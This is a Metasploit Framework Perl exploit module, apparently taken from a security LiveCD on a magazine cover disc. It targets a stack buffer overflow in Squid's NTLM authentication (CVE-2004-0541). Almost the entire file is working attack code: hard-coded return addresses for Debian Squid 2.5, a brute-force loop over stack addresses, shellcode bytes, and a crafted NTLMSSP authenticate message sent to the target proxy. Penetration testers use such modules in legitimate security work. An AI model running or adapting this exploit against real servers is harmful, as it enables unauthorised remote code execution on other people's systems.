home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / squid_ntlm_authenticate.pm < prev    next >
Text File  |  2006-06-30  |  7KB  |  235 lines

  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Exploit::squid_ntlm_authenticate;
  11.  
  12. use strict;
  13. use base "Msf::Exploit";
  14. use Pex::Text;
  15.  
  16. my $advanced =
  17.   {
  18.     'StackBottom' => [ '0xbfffcfbc', 'Start address for stack ret.'     ],
  19.     'StackTop'    => [ '0xbffffffc', 'Stop address for stack ret.'      ],
  20.     'StackStep'   => [ 0,  'Number of bytes to increment between steps.'],
  21.     'BruteWait'   => [ 15, "Length of time to wait between brutes.  " .
  22.           "15 is recommend as squid has a failure  " .
  23.           "count tracker to exit on many segvs"       ],
  24.   };
  25.  
  26. my $info =
  27.   {
  28.     'Name'          => 'Squid NTLM Authenticate Overflow',
  29.     'Version'       => '$Revision: 1.19 $',
  30.     'Authors'       =>
  31.       [
  32.         'skape <mmiller [at] hick.org>'
  33.       ],
  34.  
  35.     'Description'   =>
  36.       Pex::Text::Freeform(qq{
  37.             This is an exploit for Squid's NTLM authenticate overflow (libntlmssp.c).
  38.             Due to improper bounds checking in ntlm_check_auth, it is possible to 
  39.             overflow the 'pass' variable on the stack with user controlled data of
  40.             a user defined length.  Props to iDEFENSE for the advisory.
  41. }),
  42.  
  43.     'Arch'          => [ 'x86' ],
  44.     'OS'            => [ 'linux' ],
  45.     'Priv'          => 0,
  46.  
  47.     'UserOpts'      =>
  48.       {
  49.         'RHOST'   => [ 1, 'ADDR', 'The target proxy server address' ],
  50.         'RPORT'   => [ 1, 'PORT', 'The target proxy server port'    ],
  51.       },
  52.  
  53.     'Payload'       =>
  54.       {
  55.         'Space'   => 300 - 44, # can be more, but requires code mod
  56.         'MinNops' => 16,
  57.         'PrependEncoder' => "\x83\xec\x7f",           # sub $0x7f, %esp
  58.         'Prepend' => "\x31\xc9\xf7\xe1\x8d\x58\x0e" . # signal(SIGALRM, SIG_IGN)
  59.           "\xb0\x30\x41\xcd\x80",
  60.       },
  61.  
  62.     'Refs'          =>
  63.       [
  64.         ['OSVDB', '6791'],
  65.         ['URL', 'http://www.idefense.com/application/poi/display?id=107'],
  66.         ['CVE', '2004-0541'],
  67.         ['MIL', '67'],
  68.       ],
  69.  
  70.     'Targets'       =>
  71.       [
  72.         [ 'Bruteforce',                                0x0,        0x0        ],
  73.         [ 'Squid 2.5 STABLE5 and below (Debian/Linux)', 0xbfffd48c, 0xbfffd468 ],
  74.       ],
  75.  
  76.     'Keys'  => ['squid'],
  77.  
  78.     'DisclosureDate' => 'Jun 8 2004',
  79.   };
  80.  
  81. sub new
  82. {
  83.     my $class = shift;
  84.     my $self;
  85.  
  86.     $self = $class->SUPER::new(
  87.         {
  88.             'Info'     => $info,
  89.             'Advanced' => $advanced,
  90.         },
  91.         @_);
  92.  
  93.     return $self;
  94. }
  95.  
  96. sub Exploit
  97. {
  98.     my $self = shift;
  99.     my $targetIdx  = $self->GetVar('TARGET');
  100.     my $payload    = $self->GetVar('EncodedPayload');
  101.     my $shellcode  = $payload->Payload;
  102.     my $target     = $self->Targets->[$targetIdx];
  103.     my $ret        = $target->[1];
  104.     my $valid      = $target->[2];
  105.     my $s          = undef;
  106.  
  107.     $self->PrintLine('[*] Trying exploit target ' . $target->[0]);
  108.  
  109.     if ($target->[0] eq 'Bruteforce')
  110.     {
  111.         my $stackTop    = hex($self->GetLocal('StackTop'));
  112.         my $stackBottom = hex($self->GetLocal('StackBottom'));
  113.         my $stackStep   = $self->GetLocal('StackStep');
  114.         my $wait        = $self->GetLocal('BruteWait');
  115.  
  116.         $stackStep = $payload->NopsLength if ($stackStep == 0);
  117.  
  118.         for ($ret = $stackBottom, $valid = $stackBottom - 0x20;
  119.             $ret < $stackTop;
  120.             $ret += $stackStep, $valid += $stackStep)
  121.         {
  122.             $self->PrintLine(sprintf("[*] Trying %.8x...", $ret));
  123.  
  124.             last if (defined($s = $self->transmitExploit(target => $target,
  125.                         shellcode => $shellcode, ret => $ret, valid => $valid)));
  126.  
  127.             sleep($wait);
  128.         }
  129.     }
  130.     else
  131.     {
  132.         $s = $self->transmitExploit(target => $target,
  133.             shellcode => $shellcode, ret => $ret, valid => $valid);
  134.     }
  135.  
  136.     $self->Handler($s) if (defined($s));
  137. }
  138.  
  139. sub transmitExploit
  140. {
  141.     my $self = shift;
  142.     my ($target, $shellcode, $ret, $valid) = @{{@_}}{qw/target shellcode ret valid/};
  143.     my $targetHost = $self->GetVar('RHOST');
  144.     my $targetPort = $self->GetVar('RPORT');
  145.     my $bof        = "A" x 0x20 . pack("V", $ret) . pack("V", $valid) . "\xff\x00\x00\x00";
  146.     my $passLen    = pack("v", length($bof) + length($shellcode));
  147.  
  148.     my $negotiate =
  149.       "NTLMSSP\x00"        . # NTLMSSP identifier
  150.       "\x01\x00\x00\x00"   . # NTLMSSP_NEGOTIATE
  151.       "\x07\x00\xb2\x07"   . # flags
  152.       "\x01\x00\x09\x00"   . # workgroup len/max       (1)
  153.       "\x01\x00\x00\x00"   . # workgroup offset        (1)
  154.       "\x01\x00\x03\x00"   . # workstation len/max     (1)
  155.       "\x01\x00\x00\x00"   ; # workstation offset      (1)
  156.     my $authenticate =
  157.       "NTLMSSP\x00"        . # NTLMSSP identifier
  158.       "\x03\x00\x00\x00"   . # NTLMSSP_AUTHENTICATE
  159.       $passLen . $passLen  . # lanman response len/max
  160.       "\x38\x00\x00\x00"   . # lanman response offset  (56)
  161.       "\x01\x00\x01\x00"   . # nt response len/max     (1)
  162.       "\x01\x00\x00\x00"   . # nt response offset      (1)
  163.       "\x01\x00\x01\x00"   . # domain name len/max     (1)
  164.       "\x01\x00\x00\x00"   . # domain name offset      (1)
  165.       "\x01\x00\x01\x00"   . # user name               (1)
  166.       "\x01\x00\x00\x00"   . # user name offset        (1)
  167.       "\x00\x00\x00\x00"   . # session key
  168.       "\x8b\x00\x00\x00"   . # session key
  169.       "\x06\x82\x00\x02"   . # flags
  170.       $bof . $shellcode;
  171.  
  172.     my $s = Msf::Socket::Tcp->new
  173.       (
  174.         'PeerAddr'  => $targetHost,
  175.         'PeerPort'  => $targetPort,
  176.         'LocalPort' => $self->GetVar('CPORT'),
  177.         'SSL'       => $self->GetVar('SSL'),
  178.       );
  179.  
  180.     if ($s->IsError) {
  181.         $self->PrintLine('Error creating socket: '.$s->GetError);
  182.         return;
  183.     }
  184.  
  185.     $self->PrintLine('[*] Sending NTLMSSP_NEGOTIATE (' . length($negotiate) . ' bytes)');
  186.  
  187.     # Transmit NTLMSSP negotiate
  188.     if (not defined($self->transmitHttpRequest(
  189.                 s      => $s,
  190.                 buffer => $negotiate)))
  191.     {
  192.         $self->PrintLine('[-] Server did not send a response -- exploit failed.');
  193.         return undef;
  194.     }
  195.  
  196.     $self->PrintLine('[*] Sending NTLMSSP_AUTHENTICATE (' . length($authenticate) . ' bytes)');
  197.  
  198.     # Transmit NTLMSSP authenticate
  199.     if (defined($self->transmitHttpRequest(
  200.                 s      => $s,
  201.                 buffer => $authenticate)))
  202.     {
  203.         return undef;
  204.     }
  205.  
  206.     return $s;
  207. }
  208.  
  209. sub transmitHttpRequest
  210. {
  211.     my $self = shift;
  212.     my ($s, $buffer) = @{{@_}}{qw/s buffer/};
  213.     my $encoded = Pex::Text::Base64Encode($buffer);
  214.     my $response;
  215.  
  216.     $encoded =~ s/\n//gm;
  217.  
  218.     $s->Send("GET http://www.metasplizoit.com HTTP/1.0\r\n");
  219.     $s->Send("Proxy-Connection: Keep-Alive\r\n");
  220.     $s->Send("Proxy-Authorization: NTLM $encoded\r\n");
  221.     $s->Send("\r\n");
  222.  
  223.     # Read a response, wait 5 seconds...
  224.     while (defined($response = $s->Recv(-1, 5)))
  225.     {
  226.         last if ($response =~ "\r\n\r\n" or length($response) == 0);
  227.     }
  228.  
  229.     $response = '' if ($s->GetError());
  230.  
  231.     return $response;
  232. }
  233.  
  234. 1;
  235.